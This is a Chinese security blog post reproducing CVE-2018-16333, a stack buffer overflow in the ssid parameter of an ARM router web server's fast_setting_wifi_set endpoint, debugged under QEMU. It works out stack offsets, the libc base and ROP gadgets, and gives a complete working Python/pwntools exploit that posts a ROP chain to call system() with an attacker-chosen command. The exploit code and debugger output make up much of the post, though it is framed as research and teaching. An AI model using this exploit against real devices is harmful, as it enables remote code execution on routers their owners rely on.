栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

admin 2025年5月12日08:53:23评论1 views字数 6908阅读23分1秒阅读模式

此文章首发至先知社区

https://xz.aliyun.com/news/17940

启动程序的方式与上一篇文章相同,此处不进行赘述

漏洞点位分析

漏洞成因是web服务在处理post请求时,对ssid参数直接复制到栈上的一个局部变量中,参数没有进行长度限制,导致栈溢出。根据ssid字符串定位到form_fast_setting_wifi_set函数。 

栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

程序获取ssid参数后,没有经过检查就直接使用strcpy函数复制到栈变量中。其中有个细节:第一次的strcpy如果要溢出到返回地址,会覆盖第二次的strcpy的参数dest。因此,为了将src指针覆盖为有效地址,并且不影响第一次的strcpy, 需要绕过两次strcpy的安全隐患,确保第二次strcpy不崩溃,因此Payload中需包含可读地址 

  • 1、溢出后跳到第一个gadget1,控制r3寄存器为system函数地址,第一个pc控制为gadget2
  • 2、跳转到gadget2后,控制r0为要执行的命令即可
  • 3、执行system(cmd)

偏移量分析

启动调试,这里需要换成pwndgb,因为pwndgb可以支持更多的指令,特别是计算偏移量

# 第一个终端,使用用户模式启动程序sudo chroot ./ ./qemu -g 1234 ./bin/httpd# 第二个终端gdb-multiarchtarget remote :1234b *0x67028    #第一个strcpy之前的位置b *0x6707C    #第一个strcpy的位置#b *0x67080    #第二个strcpy函数的第一个参数位置#b *0x67090    #第二个strcpy的位置info breakpoints   # 或简写为 `i b`   查看断点c#第三个终端python3 4.py #漏洞溢出测试脚本
4.py测试脚本如下所示import requestsfrom pwn import * url = "http://192.168.50.18/goform/fast_setting_wifi_set"cookie = {"Cookie":"password=1234111115"}data = {"ssid": cyclic(500)}response = requests.post(url, cookies=cookie, data=data)response = requests.post(url, cookies=cookie, data=data)print(response.text)
栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

首先看一下ida对两个strcpy的汇编代码

栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解
汇编代码详解如下:
.text:0006706C     SUB      R2, R11, #-s      # R2=R11-s 计算dest地址.text:00067070     LDR      R3, [R11,#src]    # 加载src指针到R3.text:00067074     MOV      R0, R2  ; dest    # 将R2的值赋给R0,设置目的地址dest.text:00067078     MOV      R1, R3  ; src     # 将R3值赋给R1,设置源地址src.text:0006707C     BL       strcpy.text:00067080     SUB      R2, R11, #-dest    # R2=R11-dest  计算dest地址.text:00067084     LDR      R3, [R11,#src]     # 加载src指针到R3.text:00067088     MOV      R0, R2  ; dest     # 将R2的值赋给R0,设置目的地址dest.text:0006708C     MOV      R1, R3  ; src      # 将R3值赋给R1,设置源地址src.text:00067090     BL       strcpy

上述代码都加载了src的指针,所以如果第一次溢出,第二次不处理就会导致程序异常,接下来看pwndbg调试,首先在第一个strcpy函数前打断点,strcpy函数打断点;并对第二个strcpy函数之前打断点,strcpy函数打断点,而后运行测试脚本

首先可以看寄存器区域,主要看R0寄存器、R11寄存器、SP寄存器、PC寄存器

R0寄存器一般是函数的第一个传参,这里代表的是strcpy函数的第一个参数,目前还没有步入到0x676c,所以值还没有传入

R11寄存器当前的栈帧基址为0x40800264,在ARM架构里,R11寄存器一般代表FP寄存器,他的值指向当前函数的栈帧基址;

SP寄存器当前的栈帧基址为0x407fffe8,SP寄存器代表栈指针,指向当前栈顶(最低地址)

PC寄存器指向下一个即将执行的代码区域

栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

执行ni指令,步入,后续按回车就行

此时程序已经执行完IDA的汇编代码SUB R2,R11,#-s ,对应的是pwndbg里面的的sub r2, fp, #0x7c

这行代码的意思就是,计算dest的地址(char s),计算方式为R11 - 0x7c=0x40800264-0x7c=0x08001E8 ,对应的是R2寄存器的值,由调试结果可知, 从栈帧基址(FP)向低地址方向偏移 124 字节(0x7C),定位到 char s 缓冲区的起始地址 ,也就是说char s的偏移量为7C

栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

下图为执行了 0x67070 ldr r3, [fp, #-0x1c] 指令,该指令为加载src指针到R3寄存器,从这里可以看到,SRC的栈帧指针为 R11 - 0x1c=0x40800264-0x1c=0x0800248

栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

继续执行一步,0x67074 mov r0, r2 ,此汇编代码市纪委将R2赋值给R0,实际上就是设置目的地址为char s

栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

继续执行,发现执行了0x67078 mov r1, r3,此代码的是设置源地址(src),而后就是将源地址的字符串赋值到目的地址代表的char s,从而完成strcpy(s,str)

栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

如果想调试第二个函数,直接按c回车,对第二个函数单独分析(第二次调试打俩断点,第一个是0x67080,第二个是0x67090)

栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

从调试结果可以看到,第二个strcpy函数也对src进行了加载,dest的地址为0x408001a8 

栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

对比一下ida 中的伪代码可以看到

char s[64]; // [sp+200h] [bp-7Ch] BYREF

char dest[64]; // [sp+1C0h] [bp-BCh] BYREF

char *src; // [sp+260h] [bp-1Ch]

ida反汇编会有一点小瑕疵,比如在arm架构,栈帧基址应该是fp寄存器,但是在ida里显示的是bp,sp+200h与bp-7ch的结果是一样的,这个也可以作为偏移量进行计算对照参考,但是实际结果还是需要看pwndbg的调试,这个结果相对稳定

栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

由此,我们可以得到大致的栈帧结构图

栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

根据堆栈图,我们不难发现,src对应栈底的偏移量是0x1C;char s到栈底的偏移量是0x7c;返回地址是根据栈底+4个字节计算得来的,所以src 距离返回地址的距离是0x20;而char s到src的偏移量就是0x60;

上面我们提到,由于两个strcpy函数都对src进行了调用,所以第一次传入src溢出后也会影响到第二个strcpy函数,导致程序溢出崩溃从而无法执行system指令

所以为了能够完成漏洞利用,我们需要对利用链进行切割

(1) 第一次 strcpy(s, src)

  • 目标
    :覆盖 src 指针,使其指向可控地址(如 libc 中的可读地址)。
  • 偏移量
    : 
    • s 到 src 的距离 = (bp - 0x1C) - (bp - 0x7C) = 0x60(96字节)。
    • Payload 部分
payload = b'A' * 0x60 + p32(readable_addr)  # 覆盖到 `src` 并篡改指针

(2) 第二次 strcpy(dest, src)

  • 目标
    :通过被篡改的 src 指针,向 dest 写入ROP链,覆盖返回地址。
  • 关键点
    : 
    • dest 到返回地址的距离 = (bp + 4) - (bp - 0xBC) = 0xC0(192字节)。
    • 但实际只需覆盖 src 到返回地址的 0x20(32字节),因为 dest 是中间跳板。

p32(readable_addr) 占 4字节, 返回地址本身占4字节(arm架构中,需要4字节填充) , 所以实际填充长度是32-4-4=24字节 

(3) payload结构

所以payload应该调整为

payload = (    b'A' * 0x60              # 覆盖到src指针位置(96字节)    + p32(readable_addr)     # 覆盖src指针(4字节)        + b'C' * 24              # 覆盖剩余空间到返回地址(24字节)    + p32(pop_r3)            # ROP链开始    + p32(system)    + p32(mov_r0_ret_r3)    + cmd)

下图为栈帧示意图

栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

readable_addr可读地址

使用ida pro打开libc.so.0文件,理论上只要是rodata的常量的偏移量,都可以拿来用,但是这里只是偏移量,需要跟上实际的地址,这个地址就是lib基址

栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

lib基址计算

sudo chroot ./ ./qemu -g 1234 ./bin/httpd  #qemu用户模式启动,-g开启gdbserver远程调试gdb-multiarch  #gdb远程调试调用target remote :1234  #连接需要调试的端口file ./bin/httpd   #联动需要调试的文件b puts  #puts函数设置断点continue  #同c,启动
栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

由此可见,在内存映射里面的基址地址是0x3fdd1cd4

栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

使用ida打开libc.so.0,查看puts的相对偏移量为0x35CD4

栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

由此可知 lib基址为

lib_base = 0x3fdd1cd4 - 0x35CD4 = 0x3FD9C000

system基址计算

计算system函数偏移量

readelf -s ./lib/libc.so.0 |grep systemsystem_addr = libc_base + 0x5A270
栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

Gadget解析

跳转到R3的gadget1_addr

ROPgadget --binary ./lib/libc.so.0 --only "pop"grep r30x00018298 : pop {r3, pc}
栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解
  • 0x00018298 : pop {r3, pc}
    • 功能
      :从栈顶弹出两个值,分别存入 r3 和 pc。( 将 system 地址存入 r3)
    • 用途
      :控制 r3 寄存器的值,并直接跳转到 pc 指向的地址。( 用于初始化 r3 和跳转 )

找到一个可以控制R0的gadget2_addr

ROPgadget --binary ./lib/libc.so.0  | grep "mov r0, sp"0x00040cb8 : mov r0, sp ; blx r3
栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解
  • 0x00040cb8 : mov r0, sp ; blx r3
    • 功能
      :将栈指针 sp 的值赋给 r0,然后跳转到 r3 寄存器指向的地址执行( 此时 r3 已被前一步赋值为 system_addr)。
    • 用途
      :用于将栈顶数据(如命令字符串)传递给 r0( 用于传递参数并触发 system())。

ARM调用约定在ARM中,函数调用时: 

  • 第一个参数通过 r0 传递。
  • 函数地址通常通过 blx r3 跳转(r3 存储目标地址)

关键寄存器作用

  • r0
    :ARM架构中用于传递函数第一个参数(如 system("/bin/sh") 中的 "/bin/sh" 地址)。
  • r3
    :通用寄存器,此处用于暂存 system 函数地址。
  • pc
    :程序计数器,指向下一条要执行的指令地址。通过控制 pc,可以劫持程序流。

由此,完整的payload为:

完整payload

import requestsfrom pwn import *cmd=b"echo success111"libc_base = 0x3fd9c000system = libc_base + 0x5A270readable_addr = libc_base + 0x6415Fmov_r0_ret_r3 = libc_base + 0x40cb8pop_r3 = libc_base + 0x18298payload = b'a'*(0x60) + p32(readable_addr) + b'b'*(0x20-8)payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmdurl = "http://192.168.50.18/goform/fast_setting_wifi_set"cookie = {"Cookie":"password=12345"}data = {"ssid": payload}response = requests.post(url, cookies=cookie, data=data)response = requests.post(url, cookies=cookie, data=data)print(response.text)

执行脚本,成功实现rce

栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

程序有时候会抽风,需要点几下ctrl+c

response = requests.post(url, cookies=cookie, data=data) 这个重复两次,是因为如果只发一次包,回来的东西不太对,不知道是啥问题

通过堆栈查看,发现数据已经插入

栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

若是在0x67080 也就是strcpy传参处打断点,然后查看栈空间,我们可以看见,从r0(函数第一个传参处)0x408001e8 到寄存器0x40800248 都已经被"aaaa"覆盖,并且0x40800248地址也指向libc可读地址,0x3fe0015f = libc_base + 0x6415F = 0x3fd9c000 + 0x6415F = 0x3FE0015F ,与栈内是可以对应的上的

栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

由于arm架构小端,所以每个寄存器占用4个字节,所以从0x40800248 +4 到0x40800264 进行字节占用补充("bbbb"),为0x20 - 8 = 24 字节 ;

0x40800264 栈底开始进行rog链构造,对应的就是

pop_r3 = libc_base + 0x18298 = 0x3fd9c000 + 0x18298 = 0x3FDB4298 

0x40800268返回地址 对应

system基址 = libc_base + 0x5A270 = 0x3fd9c000 + 0x5A270 = 0x3fdf6270

0x4080026c 为后续执行地址,对应

mov_r0_ret_r3 = libc_base + 0x40cb8 = 0x3fd9c000 + 0x40cb8 = 0x3FDDCCB8

0x40800270 栈帧基址开始执行cmd指令,至此,证明思路完全没问题

80:0200│ r0   0x408001e8 ◂— 0x61616161 ('aaaa')... ↓         23 skipped98:0260│      0x40800248 —▸ 0x3fe0015f ◂— cdpvs p14, #6, c6, c15, c1, #3 /* 'anonymous' */99:0264│      0x4080024c ◂— 0x62626262 ('bbbb')... ↓         5 skipped9f:027c│ r11  0x40800264 —▸ 0x3fdb4298 ◂— pop {r3, pc}a0:0280│      0x40800268 —▸ 0x3fdf6270 ◂— ldr r3, [pc, #0x144]a1:0284│      0x4080026c —▸ 0x3fddccb8 ◂— mov r0, sp /* 'r' */a2:0288│      0x40800270 ◂— 'echo success111'a3:028c│      0x40800274 ◂— ' success111'a4:0290│      0x40800278 ◂— 'cess111'a5:0294│      0x4080027c ◂— 0x313131 /* '111' */a6:0298│ r3   0x40800280 ◂— 'fast_setting_wifi_set'a7:029c│      0x40800284 ◂— '_setting_wifi_set'a8:02a0│      0x40800288 ◂— 'ting_wifi_set'a9:02a4│      0x4080028c ◂— '_wifi_set'aa:02a8│      0x40800290 ◂— 'i_set'ab:02ac│      0x40800294 ◂— 0x74 /* 't' */ac:02b0│      0x40800298 ◂— 0x0... ↓         55 skippede4:0390│      0x40800378 —▸ 0x66ee0 ◂— push {r4, r5, fp, lr}e5:0394│      0x4080037c —▸ 0x119870 —▸ 0x11aaa0 ◂— 0e6:0398│      0x40800380 ◂— 0x0e7:039c│      0x40800384 —▸ 0x40800280 ◂— 'fast_setting_wifi_set'

原文始发于微信公众号(我不懂安全):栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月12日08:53:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解http://cn-sec.com/archives/4052506.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息